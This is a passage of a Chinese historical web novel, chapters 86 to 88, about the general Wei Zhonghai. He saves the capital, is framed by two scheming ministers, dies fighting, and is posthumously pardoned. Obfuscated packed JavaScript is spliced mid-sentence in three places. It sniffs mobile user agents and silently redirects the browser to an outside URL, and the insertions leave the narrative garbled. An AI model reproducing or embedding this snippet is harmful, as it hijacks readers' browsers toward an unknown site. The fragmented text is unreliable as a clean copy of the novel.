项恒并非贤君明主,他之所以这么做,是因为他有自己的小算盘。这么多年,项桓作为太子监国辅政,他深知朝廷上有一些大臣对他父皇当年斩杀卫忠海颇有微词,只是众人敢怒不敢言罢了。而他揣想,若是给卫忠海特赦,就可以收服一部分人的心。 并且在项桓看来,不管当年卫忠海是否真有谋反之心,既然卫家满门已被抄斩,便不会再对自己的皇权构成任何威胁了,他何不顺水推舟做个“好人”,也给自己赢个好名声。在治国施政上,项桓与项靖可谓是半斤八两,可论耍小聪明,项桓却比他的父皇略胜一筹。 项桓突然提起卫忠海,勾起少数朝臣的久远回忆。当年与卫忠海同朝为官的大臣或死去、或罢黜、或致仕,所以朝廷上还记得卫忠海的人不多了。 …… 往事如烟,当初卫忠海祖上世代忠良,满门忠烈。可惜的是,卫忠海这样一个传奇名将,却在当年的冤案后成为朝中的禁忌。 卫忠海曾是一介文臣,官拜尚书令,然而时势造英雄,令他弃文从武。当时那海的大军压境,剑指定州。 说起定州城,还要从平朔九州说起。平朔九州不是一座城池,而是指位于长城一带的区域,它东西绵延上千里,有险峰激流,历史上一直是中原王朝的防御堡垒。可自前朝开始,皇帝史唐将平朔九州割让给了蒙古,从此中原王朝便落得无险可守的境地。没有了平朔九州这一战略要地,蒙古军在长城内攻城略地,如入无人之境。丰国建国后,定都在北都城,距其400余里的定州便成了京城北都的屏障。所以定州的战略地位很重要,也可以这样说守住了定州,就等于守住了北都。 既然定州如此重要,那么怎么都不能失守,更不能拱手送给蒙古人。可好巧不巧的是,这时候定州的老将孙文龙突然病逝,定州亟需一个老成持重的将军去镇守。而当时的丰国武将匮乏,朝中实无合适的人选去守定州城,一时间举国上下人心惶惶,文臣只管纸上谈兵,武将只是谨慎怯战。 项靖在六神无主之下,最终选了卫忠海去守定州。并非是他相信卫忠海有将才之能,只是在项靖眼中,卫忠海至少做事尽心尽力,也肯担当重任,总算是个人选。项靖虽然昏庸,可是江山要丢的大事,他却怎么都不敢马虎。 圣旨下达后,卫忠海甚至没有跟妻子多作告别,就匆匆踏上了定州的路。离开北都的时候,卫忠海身上什么都没有带,只有一本孙子兵法揣在怀里。 从那时起,卫忠海放下治世典籍,拿起兵法韬略,开始以一己之力保卫丰国,为风雨飘摇的丰国续命。也可以这样说,当时丰国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941680|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气数之所以未尽,就是因为有卫忠海在。 对于卫忠海来说,能上战场御敌,是无比荣耀的事。自丰朝建国,卫家便忠君爱国,但对于卫氏祖上从没有出过骁勇善战的武将一事,卫家历代子孙都遗憾在心,卫忠海也不例外。以至于他的两个儿子出世的时候,卫忠海曾对他们寄予厚望,就是希望自己的两个孩子可以有朝一日成为骁勇善战的名将,可遗憾的是他没有看到两个儿子长大。 卫忠海刚刚赶到定州不久,就与瓦哈国交锋了。那海举兵十二万攻打定州,而当时定州只有守军五万,还不是丰国的精锐。顺帝自私地将丰国战力最强的军队留在北都保卫自己的安全,所以那些年卫忠海过得特别艰难,他日日呕心沥血、殚精竭虑,这才换来丰国后来的安宁。 卫忠海凭借自己的五万军队,死守定州,先后打退那海的进攻十余次。那海见无法攻克定州,便想从西侧迂回绕过定州后奔袭北都。卫忠海洞若观火,看出那海的计策,于是昼夜兼程回援北都去拦截那海。 卫忠海马不停蹄赶路,最终总算先那海一步到达北都。不过,当满朝文武得知卫忠海率五万铁骑来势汹汹赶来时,全体人都在朝上七嘴八舌议论着。黄魏和董素更是整日在皇上身边煽风点火,说卫忠海此举可能意在谋反。 生性多疑的顺帝被成功洗脑,下令不准打开城门。项靖同样也想不明白,卫忠海为何不在定州就拦住敌人,却要跑到帝都家门口来御敌。 卫忠海在城外给皇上上表,解释说因那海偷袭,他这才回来保卫京城。但项靖怎么都不信卫忠海的话,他很怕打开城门就是“引狼入室”,说不定卫忠海会趁乱把自己推下龙座。偏执的顺帝还不知道,那海的军队距北都已不足五十里。 卫忠海心知,若不能进城以北都城的防御工事来防守,他以剩下的五万军队对抗那海的十万兵力,根本没有任何胜算可言。 卫忠海虽然忠君,但却不是愚忠之人。虽然他只在军中待了一年,但他平日爱兵如子,他不忍看到五万将士惨死,于是强行撞开了北都城门。 卫忠海此举,也为他后面的悲剧命运埋下了种子。皇上要关门,他却要把城门强行撞开,这不仅是抗旨,更是“谋反”之举。如若不是卫忠海前脚进了城,那海后脚就打到了北都城门口,卫忠海就已经被顺帝当成叛贼斩杀了。毕竟大敌当前,枪口需一致对外,有任何事情都要共同御敌后再言,项靖就压住了心中的火气。 卫忠海进宫面圣,汇报战况。丰顺帝慌张无比,朝中大臣也是乱作一团,甚至很多大臣都建议与那海和谈。 卫忠海跪倒在地,话语振聋发聩,“皇上,臣以自身性命作保,定护丰朝安宁。我们如今要放弃幻想,积极迎敌,北都城固若金汤,足以击退敌人。” 话音刚落,朝中众臣议论纷纷,窃窃私语,大多数人都选择站在卫忠海的对立面,反对以北都城作为防御前沿。一时间,顺帝也不知该听哪方意见,心中进退维谷。 最终那日,顺帝做出了他人生中最重要的一次决定。可能是因为卫忠海眼神中的坚定,也可能是因为卫忠海语气中的铿锵,项靖最终还是选择相信了卫忠海。 86. 第八十六章 事到如今,顺帝想搏一回,他心中天人交战后,把城内的五万军队也划给卫忠海统一管理。卫忠海带着这十万人,守城43天,双方各死了几万人后,那海终于放弃攻城。 京城守住了,项靖特别开心,他亲自为卫忠海摆起了庆功宴。一时间,项靖忘记了卫忠海在定州“抗敌不利”,也忘记了卫忠海“强行”带兵闯入北都城,此时的他只记得卫忠海击退了那海,记得卫忠海是他的“恩人”和功臣,记得卫忠海是民族英雄。 卫忠海一时风头无两,极受皇帝的宠爱,这引起了太师黄魏和太保董素的极大仇恨和嫉妒。不过黄魏和董素真正在意和忌惮的不是他们俩在皇上面前失势,而是他们怕卫忠海坏了他们的计划。 丰顺帝昏庸无能,疏于对黄魏和董素的权力进行辖制,又放任他们两人胡作非为。导致太师黄魏、太保董素为官几十年中,渐渐位高权重,后来几乎已是一人之下万人之上。 历史上,臣强主弱之下,祸端已不可避免,黄魏和董素在经年累月中渐渐起了反心。两人心有不屑,一个昏庸无道的人都能做皇帝,他们自认为也可以,只不过顺帝会投胎,一落地就生在帝王家罢了。黄魏和董素在一起喝酒时,经常狂言悖论,说什么天下贤者居之,言外之意,他们两人就是贤能之人。 两个佞臣,一个是狐狸,一个是豺狼,他们每日都在心里琢磨怎样把丰顺帝赶下龙椅后自己取而代之。黄魏和董素这两个人,看似亲密无间,但这其实就是谋反成功前的相安无事,“大业”尚未功成,他们彼此还暂时需要互助,所以表面上才未生出任何嫌隙,也没有起内讧。可一旦谋反成功,就会出现一山不能容二虎的局面。好笑的是,黄魏和董素两人都迷之自信地认为可以掌控对方,也都认为自己可以笑到最后,而对方仅仅是自己成功路上的炮灰。 起初,黄魏和董素想骗到兵权后直接起兵造反,可是卫忠海的忠君爱国、胆识谋略都成为他们篡权夺位路上的障碍和变数。两人思前想后,觉得起兵造反这个计划委实风险太大,若是不能谋反成功,身败名裂不说,肯定会死无葬身之地。 两个奸臣又密谋了其他办法夺权,可无论他们怎么计划,都会发现卫忠海是挡在他们“大业”前的障碍。最后他们一致认为只能先除掉卫忠海,才能确保万无一失。 可是除掉卫忠海并不容易,毕竟卫忠海的卫家是延续两百年的名门望族,如果不是犯了大罪,皇上都会网开一面。不止如此,每次两个奸贼想利用卫忠海的错处扳倒他,卫忠海就会立下奇功,黄魏和董素气得认为老天都在帮卫忠海。 既然不能利用皇上的手斩了卫忠海,黄魏和董素又想通过勾结那海,借助那海的力量除掉卫忠海,或者利用蒙古直接灭掉丰国,然后他们两人再下山“摘桃子”。这样做的好处就是他们可以置身事外、隔岸观火,即使不成功也不会牵连到自己。只是一向自以为聪明的黄魏和董素,想法太天真了,如果那海真的将丰国灭国,第一件事就会拿黄魏和董素祭旗。 在北都保卫战中,丰国虽然胜了。但黄魏和董素决定再用一招离间计,于是他们给那海写了一封密信。 几日后,丰顺帝在早朝上见到了那海派来的使臣。使臣恭敬道:“丰国陛下,吾王为两国修好,特派吾送来国书求和。” 丰顺帝听闻后龙颜大悦,以为那海被自己打服了,打怕了,他还未打开国书,已经可以想象里面肯定用蒙文写着俯首称臣、万世修好的内容。 可真打开国书后,丰顺帝的笑容渐渐凝固了。 国书里面写道:“忠海兄,我们从定州一路走来,伯歌季舞,友于兄弟。为何到了北都城下,你却改了主意呢?兄大可放心,帝都被攻下后,小弟定与兄平分江山,此诺必践,决不食言。虽然兄优柔寡断,但吾不会背弃金兰之契。无论何时,兄若还想重拾帝王梦,小弟一定会助你一臂之力。” 丰顺帝看完后如芒在背,吓出一身冷汗。他眼睛里满是猩红,看向卫忠海的眼神突增几分狠厉。 卫忠海不明所以,还以为国书里是那海说了些挑衅的话,惹得皇上动了怒,他全然不知眼前的皇帝已经对自己起了杀心。 丰顺帝果然中了离间之计,厉声道:“来人,给我把卫忠海关进天牢。” 皇上一声令下,朝野哗然。 卫忠海惊愕,连忙跪地,“皇上,不知发生了什么,可否让臣死个明白?” “你还敢装傻?不是你勾结那海作乱吗?” 卫忠海话语铿锵,“皇上何出此言?还望陛下明察,微臣是被冤枉的。” 项靖狂怒,“你有没有被冤枉,朕自会查清楚。” 卫忠海被侍卫狼狈地拖了下去。 好在卫忠海并不会那么容易就失了圣心,毕竟也是那么多年德高望重的老臣,门生遍地,朝廷里更有很多大臣为他作保,死谏卫忠海不会叛国投敌。这样一来,丰顺帝气了几天后,心也跟着软了下来,还私下问刑部侍郎卫忠海在监狱的情况。 然而这个世界奸臣和忠臣永远都是死敌,黄魏和董素并不会轻易放过卫忠海。他们狼狈为奸,密谋之后,两人决定再给那海写一封密信。太师黄魏要比太保董素更加老奸巨猾一些,每次给那海写信,黄魏都会让董素执笔。这样以后密信外露,黄魏也可说他毫不知情,然后顺理成章把里通卖国的罪名推到董素头上。 董素当然也不是十足的傻瓜,他每次愿意执笔,也自有他的小算盘。他想的是他日无论“大业”成败与否,他都可以通过这些书信在那海那里挣更多的薄面。届时董素可以说,自己才是跟那海联系最多的人,那海认识他的笔记,自然会相信他说的话。 那海看了董素写的第二封密信后,放声狂笑起来,“丰朝,活该你气数已尽。” 信里写道:“请求那海以救卫忠海为名佯攻北都,务必把卫忠海的叛国罪名坐实。” 黄魏和董素的这一招连环计是何其阴毒,卫忠海怎么能躲得过这么多的暗箭呢? 三天后,那海果然假装攻击北都,蒙古士兵在城门摇旗呐喊,“如果不放了卫忠海,就要攻进城去,我们一定要救出卫忠海。” 城外的这场大戏很快传到皇上的耳朵里,早朝之上,丰顺帝项靖火冒三丈,当即就要砍下卫忠海的头悬于城门之上。朝野顿时沸腾,一些忠臣怎么不相信卫忠海会叛国,齐齐跪在地上为其求情。 丰顺帝觉得有失颜面,爆发雷霆之怒,“众臣听旨,若再有人为奸贼求情,当与卫忠海同罪。”见项靖果真中计,黄魏和董素的嘴角暗暗勾起奸佞笑容,心里也乐开了花。 所有人都以为这次卫忠海恐怕逃不掉冤死的下场了,只是良臣一想到他一世忠义竟最终背负骂名而死,不免心生悲叹,唏嘘感慨。 就在这时,振聋发聩之声响彻大殿,众臣惊愕,原来喊话之人为当今陛下的亲弟和顺王。 从前和顺王奉行明哲保身的原则,从来不再朝上发表任何意见,多年来好似透明人一般。今天他突然站了出来,众人都不知为何意。 众臣注视之下,和顺王项广气定神闲走上前,行稽首礼,“皇上,多年来,如果不是卫忠海坚守定州,北都何来安宁?试问这样的人又怎么会投敌卖国呢?” 自己的亲弟说出此番话来,项靖心中还是起了一丝波动。 董素最先沉不住气,躬身一礼,“和顺王此言差矣,即便卫忠海此前没有谋反之意,那么就可以断定他一直不会改变吗?时间不可以让人忘本变质,利欲熏心吗?” 和顺王项广反唇相讥,“在这大殿之上,谁是利欲熏心,众人难道不知道吗?那人自己心里不清楚吗?”项广是不轻易在朝上发言,可很多事情,他却看得清楚。之前他明哲保身,是他对朝局早已失望,既然改变不了什么,不如放宽心做个闲散王爷。可这个世界有一种可贵的东西叫做良心,今天这个情形他不能再不站出来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961034|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >项靖再次踌躇不定,令项广意识到情形危急,于是再次陈情,“圣上请三思,斩杀卫忠海至多是多了具尸首。我想尚书令既然说他是被冤枉的,不如让他上阵杀敌,给他一个自证清白的机会。” 黄魏缓步走出来,神情轻蔑地看着项广,“和顺王可有想过,此时让卫忠海带兵上阵抗敌,无异于虎谋皮。如果他临阵倒戈,又该如何是好?” 和顺王反唇相讥,“那依黄太师之见,那海已兵临城下,有哪位大臣可带兵出征?还是说我们就坐以待毙,等着那海攻破城门?” 经和顺王项广一提醒,不仅黄魏无言以对,众臣也跟着面面相觑。朝廷里的人都心知肚明,如果没有卫忠海抗敌,丰国早就亡国了。看着自己的大臣六神无主的样子,丰顺帝顿时也慌了,他刚刚光顾着生气,却忽略了那海已是獠牙毕露地呲向自己。 丰顺帝看向和顺王,“臣弟有何御敌良策?” 和顺王连忙说道:“圣上,即便卫忠海生了“叛心”,鉴于他之前并没有配合那海攻打北都城,臣斗胆以为他还是有所顾忌的。况且尚书令的家小还在城中,他应不会弃他们于不顾。” 不能完完全全站在卫忠海的立场说话,不能完完全全仗义执言,和顺王心底阵阵悲凉。只是现在奸臣当道,豺狼满朝,他也只能以退为进了。他感觉自己被逼到悬崖边,为了救卫忠海,他只能搏上一搏,赌上一赌了,即使不能保住卫忠海的忠名,也要保下卫忠海一条命。 丰顺帝稍稍心安了些,他都忽视了这个问题,卫忠海的妻儿正好可以作为人质一用。 董素刚要上前继续反驳项广,黄魏上前打断道:“圣上,臣以为和顺王言之有理,不过对卫忠海要既用且防,如若命他出征,只可让他带五千士兵。” 话音落下,董素心里暗喜,还是黄太师手段高超,既保留了各方的面子,又将卫忠海推入死地。只给五千军马,去对抗那海的几万铁骑,无异于以卵击石。毕竟董素和黄魏都心知肚明,说卫忠海和那海有“兄弟”之谊只是欲加之罪的阴谋。他们坚信只要卫忠海出城迎战,瞬间就会成为那海的刀下亡魂。 有了两全其美的方案,丰顺帝心中大悦,有了卫忠海的家人做人质,他便不怕卫忠海叛国,更不怕他不上阵奋勇杀敌,而且这样一来的好处就是他不用亲手斩杀卫忠海。 丰顺帝心里也不想亲手斩杀卫忠海,因为一旦杀错忠良,他便会在史书上留下不光彩的一笔。顺帝不想有一番作为,但也不想给世人留下昏庸之名,矛盾的心思下,只剩下一些小伎俩、小心思。 思虑再三后,丰顺帝说道:“就依各爱卿之言,不过还是给尚书令一万人马吧。” 黄魏是希望卫忠海寡不敌众,最终借助那海的手除掉眼中钉。而皇上却有自己的算盘,五千人太少,没有任何胜算而言,他还是希望能击退那海的,否则不仅祖宗的江山不保,自己也难逃一死。而如果卫忠海叛变,即使有多了五千人,也不会掀起更大的风浪。 在和顺王的要求下,皇上允许由他去天牢给卫忠海传旨。 其实皇上对今日和顺王的表现很不满意,和顺王自己也能感觉到,只是他别无选择。皇上很不解,为什么一向对自己恭顺的臣弟,会当着满朝文武的面为卫忠海求情。尽管在表面上,和顺王并未太明显要替卫忠海开罪,但是皇上感觉出,和顺王在千方百计想保住卫忠海的命。 那日退朝,走出皇宫的董素谄媚说道:“魏兄,今天还是你的手段高超啊!” 黄魏佞笑,“反正卫忠海能死就行,我们不用非要皇上亲自动手。看他拿一万人马怎么对阵那海的八万人,除非他是神仙,否则必死无疑。” 董素脸上难掩喜悦,“魏兄,我觉得我们可以提前庆祝胜利了,走,去我府上小酌一下。” “今天的酒确实要好好喝一下。”说完此话,黄魏仰头狂笑。 与此同时,下了朝后,和顺王直接去了天牢。 87. 第八十七章 王爷钦佩义结金兰 这些日子,牢中的卫忠海知道自己可能命不久矣,只是想到自己祖上两届帝师、三届宰辅,满门忠烈之名在他这里毁于一旦,他心有不甘,死不瞑目。 卫忠海想过一死了之,只是又转念一想,如果自己真这样不明不白死了,很像是畏罪自杀,那就更无法恢复自己的清白之名了。不过这几日,他的饭量骤减,食不知味,身形也消瘦了许多。 和顺王买通了天牢总管,说自己要跟卫忠海聊军事机密,让卫忠海牢房周边的狱卒全部撤走。见有狱卒打开牢门锁,卫忠海以为是自己大限将至。他刚要起身,见和顺王提着一个大的食盒走了进来。因为天牢总管吩咐过,狱卒将牢门虚掩后,便识趣地走远了。 卫忠海刚要开口问出心中疑问,和顺王低声说道:“忠海兄,我们长话短说。皇上已经颁旨,让你带领一万兵勇去攻打那海,你终于可以从天牢出去了。” 卫忠海表情惊讶,不敢置信,“皇上怎么会给我这个机会呢?我还以为皇上会择日杀我呢。”卫忠海听到这个消息心里是很高兴的,对他而言,马革裹尸就是最好的归宿了。 和顺王项广心中还是有些歉疚,“忠海兄,皇上本来要杀你的,是我建议让你去领兵上前线的。我很难过,也不知道自己这么做是否真合你的心意。但是我始终认为出去寻一线生机总好过在这里等死。” “虽然我们同殿为官多年,也鲜有机会能像今天这样聊聊天,可是以我对你的了解,或许你宁愿为国捐躯、慷慨赴死,也不会甘心空留骂名地离开这个世界。走出去或许还可以证明自己的清白,怎么也好过不明不白地死在牢里。” 卫忠海感恩道:“和顺王知我懂我,谢谢你帮我做的这个决定,这大概就是我的善终了,我很开心。” “都到了这个时候了,免去那些俗套礼教吧,我叫你一声忠海兄,你就叫我一声项老弟吧。” 卫忠海情绪动容,“项老弟,你为了荐我出征不惜得罪皇上,这份恩情我永生难忘。只是今生我时日无多,是无以为报了,只待来生相还。 “我们兄弟不谈感激。”和顺王忧心道,“后天你就启程了,可惜不能让你回去见见家人。你有没有什么想跟嫂夫人说的话可以写下来,我派人送到你的府上。” 卫忠海拿出信来,“那就麻烦项老弟替我走这一趟吧。其实,这封信早就提前写好了,只是当时不知还能不能把信送出去。”事实上,自卫忠海走进这间牢房,他就怕自己不能活着出去,所以就把所有放不下心的事写在信里,算是给妻子的临别遗言。” 和顺王把信放在怀里,表情格外凝重。 卫忠海发问:“项老弟,还有什么问题吗?” 和顺王心头一紧,“忠海兄,我还有句肺腑之言,不知当讲不当讲?” “到了现在,我们之间还有什么不能说的呢?今天你冒死过来见我,我要是还不信你,也太狼心狗肺了。项老弟,有话你就直言。” 和顺王真诚道:“忠海兄,你也清楚,你这次遭难是有奸人陷害。” “这我知道,我在朝中为官那么多年,丰朝官场里的阴险狡诈还是知道的。” “我的意思是明枪易躲,暗箭难防,如果你这次在外有个闪失,家人怎么办?” 卫忠海叹了口气,“实不相瞒,拙荆白华性情刚烈,我很担心我要是出了事,她会做出傻事来,只是……” 和顺王肺腑真言,“忠海兄,我指的是不只是嫂夫人,还有你那两个刚满周岁的孩子。我是怕你走后,恐他们会有不测,不如……” “不如什么?” 和顺王回头看了看,见没有人,便低声道:“不如让嫂子将他们送往安全的地方。” 卫忠海确实没有考虑那么多,但项广的话却让他如梦方醒,他不能让他的两个儿子有任何闪失,那是他们卫家的未来和希望。 见卫忠海陷入沉思,和顺王补充道:“忠海兄,你是不是有什么顾虑啊?你可以再考虑考虑我的话,如果你后面决定了,可以让嫂夫人来找我,至少我可以帮助她们逃出城去。” 卫忠海拿出食盒中的酒,斟满了两碗酒:“项广弟,我剩下的时间不多了,不知你愿不愿意在我临死之际与我结拜?那样的话我也就遂心九泉了。” “忠海兄,你说的哪里话?能与你结拜,是我的荣幸。”和顺王端起酒碗,两个碗撞在一起,发出清脆的响声。 没有烛台,没有燃香,只是借着食盒里的酒,卫忠海与和顺王八拜结交。 卫忠海的身体早已不如壮年,加之在监狱里住了一段日子,他的身体还有些虚弱。但时间已不允许卫忠海调理好身体,两天后,卫忠海脱下囚服,穿上铠甲赶往战场。 出城时,卫忠海见到白华泪眼婆娑地站在人群里,一时他心如刀割。更令卫忠海难过的是,他与白华相濡以沫、鹣鲽情深,但分别时却不能跟自己白首相依的妻子说句道别的话。 白华是女中豪杰,但今天这个时刻,她泪眼盈盈地望着卫忠海,同时双手合十着,以此表示对丈夫的祝福,那一刻,她才知道自己有多么爱自己的丈夫。白华多么希望丈夫能从战场平安回来,尽管她心里也知道,这一次的分别可能就是永别。 白华眼见卫忠海骑马远去,可是她依旧站在原地,不肯离开。后来,卫忠海战死沙场,白华得知消息后当日便喝下砒霜自逝。死时以血书留下绝笔:“此生从无悔,只憾未白首,但有来生约,再续红叶盟。”和顺王项广得知白华殉情后,感动于此女子的深情浓情真性情,久久泪目。 卫忠海只有一万兵力,当然不能真的跟那海硬拼。他只能敌进我退,敌退我进,尽量分散敌人,实施小规模歼灭。除了攻击那海薄弱的方向,还出其不意地毁其粮草。虽然这种迂回战术给那海制造了很多大大小小的麻烦,可卫忠海知道仅凭这些是远远不够的。 卫忠海苦思冥想几夜,他决定给图罗国首领西日莫写一封信。信里说那海此时精锐尽出,他的后方必然空虚,建议西日莫可以趁机夺取那海老巢归化,这种用写信施离间计还是黄魏和董素教会卫忠海的。 蒙古三雄一直雄踞北方,西日莫的图罗国位于那海统领的瓦哈国以西,而敖登统治的巴鲁国位于图罗和瓦哈以北。 多年来,图罗国的实力最弱,但他的野心并不弱。图罗国北部的敖登无论是兵力还是战马装备都是最强的,所以图罗国首领西日莫一直把眼睛对准那海,因为只有他的东边或许可以觊觎一下。 那海出兵南下西日莫是知道的,只是他还是不敢轻举妄动。但当他收到卫忠海的这封信时,他却再也坐不住了。因为卫忠海在信里说,会帮着图罗国共同抗击那海。届时那海腹背受敌,西日莫笃定他必败。西日莫知道这种机会不会再有,他必须抓住。 果然,过了些日子,那海收到守将在后方发来的急报,说归化城被围,瓦哈的将士正拼死抵抗西日莫一轮又一轮的攻势。急报里让那海尽快回援,否则归化城不保。那海倒是想回撤,但卫忠海紧紧咬住自己,不给他撤退的任何机会。 俗语常说,穷寇莫追,但这次的情形和兵法上说的并不相同。卫忠海吃定那海急着回防归化,自然不会与自己恋战,更不敢反扑,这个时候即使把那海咬得浑身是伤,那海也会流着血后撤。卫忠海认为这是自己乘胜追击那海的绝佳机会,怎么能轻易放过,即使不能剿灭那海,但如果能削弱那海的兵力也是好的。就这样,那海拼命赶回归化,而卫忠海则在那海的队伍后面紧追不舍。 无心恋战的那海,只能眼睁睁看着自己不断损兵折将,他虽然满腔怒火,但却无可奈何。那海顾此失彼,等他赶回瓦哈国时已经晚了,西日莫已经完全占领归化十天有余了。 西日莫不确定一定能守住归化,所以在占领归化城的第一天,就将城中和地宫的金印财帛掠夺干净,甚至牛羊都没放过,通通将它们快速运回自己的国都科布多。 西日莫也是蒙古部落的一代枭雄,入归化城后对那海的臣民并没有大肆屠戮。而那海手下得力的几名战将就没那么幸运了,他们被西日莫斩杀。西日莫的目的很简单,他要让那海元气大伤,再也不是自己的对手。 失去金银,又失去良将,瓦哈的国本已经摇摇欲坠,得知这一切的那海多少有些心灰意冷。他在归化城外山坡上,远远望着归化城,誓言一定要雪此耻辱。唯一让那海庆幸的是自己的儿子们在战乱中偷偷逃出了城,等他的儿子长大了就会是他翻身的资本。 回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982233|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归化的路上,因为卫忠海死死咬住那海部队的“尾巴”,导致那海北都之战后的八万部队,现在只剩下了不到七万,这就是那海全部的家底了。 落难的凤凰不如鸡,那海的老巢被西日莫占据着,万般无奈之下,他只能忍辱负重选择跟对方谈判。谈判的结果就是,那海与西日莫定下城下之盟,将归化以西的大部分领土划给图罗国,从而换回归化。 之前那海的瓦哈国略强于西日莫的图罗国。不过经此一役后,那海和西日莫在实力上互换了位置。 当时西日莫要是想完全灭掉那海的,虽然不至于像碾死蚂蚁那么简单,但也足以让那海变成真正的丧家之犬。 西日莫之所以答应了那海“求和”的条件,主要是因为他暂时还不想灭掉那海,他还需要留着那海去制衡蒙古北部巴鲁国。西日莫怕他前脚灭掉那海,后脚敖登有就出兵征讨自己,而以他现在的实力还不足以抗衡巴鲁国的敖登,他还需要再攒攒实力。 三角形永远是最稳固的,所以多年来,蒙古三国任何一方都不敢轻举妄动,就是不想给另两方结盟的机会。如果不是一方独大,逼不得已,另外两方也不愿意结盟,因为他们实际彼此也都互不相信,他们觉得各自保持中立更有利一些。 西日莫的算盘就是留着对自己已经没有威胁的那海令敖登不敢轻举妄动,这样他就可以进一步壮大自己的实力,等到时机成熟了,他就可以一统全蒙。 当然这只是西日莫自己的想法,蒙古三国的每个头领都想统一全蒙,更想逐鹿中原。那海何尝不是觉得丰国是软柿子,先把它完全捏在手里后就可粮草充足,届时再调转枪头杀向另外两个蒙古藩王的胜算就更大。 那海的势力范围大幅缩水,他自然咽不下这口气。在那海心中,这一切的罪魁祸首都是卫忠海,他决定把所有对卫忠海的仇恨都聚在三尺刀锋上。 安抚住了西日莫后,那海开始合围卫忠海。因为之前追得太紧,贴得太近,卫忠海想在此时再全身而退已经不可能了。当然,如果卫忠海让他的将士当人肉盾牌,他或许有逃回丰国的一线可能。只是卫忠海心里清楚,那样一来,朝中奸佞小人更会妖魔化自己,那些不知情的人也会造谣言说他根本不是在追击那海,而是做样子一路把那海“送回”归化。 想到这些,卫忠海自知已没有退路,他不能为求活命而失掉忠名,更不能授人以柄、落人口实而连累家人。卫忠海心头掠过一丝豪情,他决定慷慨赴死,并以死明志。 回想自己这一生,卫忠海并不觉得遗憾了,他庆幸在有生之年体会了一次披坚执锐的瘾,卫氏一族也算出了他这么一个半路出家的将军。这样一想,卫忠海觉得即使自己下了九泉,也不愧对祖先了。 想到自己的死,卫忠海同样觉得够本,毕竟他可以预见,与那海这最后一战会为丰国带来多年的安宁。 其实早在卫忠海决定追击那海时,他就猜到会有此结局了,毕竟当时那海只是急于回援没空搭理自己,现在终于得空了怎么会放过自己。 可是即使到了生命的最后一刻,卫忠海想的也是再多耗尽一些那海的兵力。卫忠海带领着那几千人,拼到最后的一兵一卒,杀伤敌军一万五千余人。最后由于双方的兵力相差太过悬殊,卫忠海在坚持了十一天后,轰然倒在血泊中。 那一刻,卫忠海笑了,他庆幸的是削弱那海实力的目的已经达到,短时间内,那海再无南下侵略丰国的可能,而且他终于可以不用再背负汉奸之名,也就觉得此生无憾了。离开这个世界前,唯一让卫忠海觉得有所亏欠的,就是他的结发妻子白华。 虽然是敌手,那海还是厚葬了卫忠海,因为卫忠海为国为民尽忠的气节令他心生敬佩。 卫忠海的牺牲为丰国的北境赢得了八年的太平。八年后,瓦哈国的元气休养过来,那海再次举兵南下,一举攻占北都。顺帝带着皇室和大臣提前弃都城到临昌州继续苟且偷安,他几乎是狼狈地逃到那里的。 又过了九年,卫忠海的冤案才被顺帝的儿子献帝推翻。时间真的过去太久了,许多人等待这一天,头发白了,心快寒了。虽然当年的真相并没有被完全昭雪,但令人欣慰的是,今天献帝总算摘掉了卫家头顶的污名。 …… 88. 第八十八章 庆功宴上,听到项桓要为卫忠海平反,康诚也是激动万分,他在纠结要不要说出卫忠海尚有遗孤在世。思虑再三,康诚还是觉得此时说出卫泽楠身世是最佳时机。康诚有此底气是因为君无戏言,皇上不可能刚刚替卫家平反,就立刻治他个窝藏罪臣之子的罪名,更不能立刻改口诛连卫泽楠。 想到这里,康诚走出宴桌来到殿中央,行稽首礼,“皇上圣明仁爱,今赦卫氏满门之罪,众臣感服。臣还有一事需禀明皇上,求皇上圣裁。” 项桓眉间一锁,“誉国公,不知汝所奏何事?” “皇上,您刚才说如果可能要多加抚恤卫家遗属,卫忠海却有一子卫泽楠尚在人世,请皇上赐恩。”康诚这么做,也是希望还卫泽楠真正的身份,使其能堂堂正正立于人世,这样卫忠海夫妇也就瞑目于九泉了。康诚还想:“如果卫泽楠争气的话,也可以卫氏遗属的身份光宗耀祖了。” 此话一出,大殿上仿佛地动山摇,平湖惊雷。有的大臣心中感叹康诚胆大,竟敢窝藏罪犯之子这么多年。有的大臣心中敬佩康诚重情重义,才冒险保下卫家血脉。也有黄魏和董素之流恨得牙痒痒,怪当年自己失察放过漏网之鱼。更有和顺王项广这个知晓一些内情者,终于放下了压在胸口多年的石头。 项桓嘴唇翕动,半晌说不出话来,“誉国公,朕来问你,那卫忠海遗孤现在何处?” 康诚如实道:“这些年,我一直把他养在府中,随我康姓。” 